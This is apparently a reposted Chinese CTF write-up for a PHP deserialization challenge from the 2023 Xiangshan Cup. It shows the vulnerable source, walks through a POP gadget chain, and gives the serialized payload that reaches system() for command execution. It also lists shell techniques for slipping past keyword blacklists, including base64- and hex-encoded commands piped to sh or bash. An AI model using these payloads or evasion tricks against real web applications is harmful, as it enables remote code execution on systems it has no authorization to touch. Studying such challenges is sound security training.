PHP_unserialize_pro
考點(diǎn):
- 反序列化漏洞POP的構(gòu)造
- eval()函數(shù)惡意php代碼執(zhí)行
- []通配的形式繞過黑名單字母
源代碼:
<?php
????error_reporting(0);
????class?Welcome{
????????public?$name;
????????public?$arg?=?'welcome';
????????public?function?__construct(){
????????????$this->name?=?'Wh0?4m?I?';
????????}
????????public?function?__destruct(){
????????????if($this->name?==?'A_G00d_H4ck3r'){
????????????????echo?$this->arg;
????????????}
????????}
????}
????class?G00d{
????????public?$shell;
????????public?$cmd;
????????public?function?__invoke(){
????????????$shell?=?$this->shell;
????????????$cmd?=?$this->cmd;
????????????if(preg_match('/f|l|a|g|\*|\?/i',?$cmd)){
????????????????die("U?R?A?BAD?GUY");
????????????}
????????????eval($shell($cmd));
????????}
????}
????class?H4ck3r{
????????public?$func;
????????public?function?__toString(){
????????????$function?=?$this->func;
????????????$function();
????????}
????}
????if(isset($_GET['data']))
????????unserialize($_GET['data']);
????else
????????highlight_file(__FILE__);
?>
代碼審計:
先找出口函數(shù):為eval() 然后執(zhí)行eval()函數(shù) 就必須觸發(fā)__invoke()魔術(shù)方法,
__invoke():當(dāng)嘗試以調(diào)用函數(shù)的方式調(diào)用一個對象時,__invoke() 方法會被自動調(diào)用。
所以我們只要令H4ck3r類里面的$func?= new G00d()就可以觸發(fā)了,然后調(diào)用func函數(shù)就要觸發(fā)__toString()魔術(shù)方法,
__toString():當(dāng)一個對象被當(dāng)作一個字符串時使用
所以我們就要調(diào)用Welcome里面的arg令它當(dāng)成G00d()函數(shù)就行 ?然后就是觸發(fā)__destruct()
條件就是要銷毀一個對象 那就要創(chuàng)建對象 就觸發(fā)了__construct()魔術(shù)方法
POP鏈:
__construct->__destruct()->__toString()->__invoke()?
代碼構(gòu)造;
<?php
class Welcome
{
????public $name = 'A_G00d_H4ck3r';
????public $arg = 'welcome';
}
class G00d
{
????public $shell = 'system';
????public $cmd = 'dir /';
}
class H4ck3r
{
????public $func;
}
$m = new Welcome();
$m->arg = new H4ck3r();
$m->arg->func = new G00d();
echo serialize($m);
Payload:?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:5:"dir /";}}}
發(fā)現(xiàn)f1ag 因為黑名單的限制 所有匹配flag字母都會被禁止 這里就采用通配符[]進(jìn)行繞過
關(guān)于某個字母被ban的繞過方法
1. 反斜線轉(zhuǎn)義 cat fla\g.php
2. 兩個單引號做分隔 cat fl''ag.php
3. base64編碼繞過 echo Y2F0IGZsYWcucGhw | base64 -d | sh
4. hex編碼繞過 echo 63617420666c61672e706870 | xxd -r -p | bash
5. glob通配符 cat f[k-m]ag.php ??cat f[l]ag.php
6. ?和*
7. cat f{k..m}ag.php
8. 定義變量做拼接 a=g.php; cat fla$a
9. 內(nèi)聯(lián)執(zhí)行cat `echo 666c61672e706870 | xxd -r -p` 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat
所以最終paylo:
?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";}}}
文章來源:http://www.zghlxwxcb.cn/news/detail-712932.html
得到falg文章來源地址http://www.zghlxwxcb.cn/news/detail-712932.html
到了這里,關(guān)于[wp]2023中山市第三屆香山杯 web PHP_unserialize_pro的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!